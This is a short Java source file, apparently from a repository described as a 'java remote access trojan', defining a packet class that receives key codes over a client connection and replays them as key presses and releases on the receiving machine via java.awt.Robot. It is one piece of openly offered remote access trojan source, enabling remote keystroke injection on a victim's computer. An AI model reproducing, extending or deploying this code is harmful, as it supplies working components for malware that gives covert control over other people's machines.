java remote access trojanc
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

52 lines
1.0 KiB

package de.sogomn.rat;
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public final class KeyEventPacket implements IPacket {
private int key;
private boolean flag;
public KeyEventPacket() {
key = KeyEvent.VK_UNDEFINED;
}
public KeyEventPacket(final int key, final boolean flag) {
this.key = key;
this.flag = flag;
}
@Override
public void send(final ActiveClient client) {
final byte flagByte = (byte)(flag ? 1 : 0);
client.writeInt(key);
client.writeByte(flagByte);
}
@Override
public void receive(final ActiveClient client) {
key = client.readInt();
flag = client.readByte() == 1;
}
@Override
public void execute() {
try {
final Robot rob = new Robot();
if (flag) {
rob.keyPress(key);
} else {
rob.keyRelease(key);
}
} catch (final IllegalArgumentException ex) {
System.err.println("No valid key code");
} catch (final AWTException ex) {
ex.printStackTrace();
}
}
}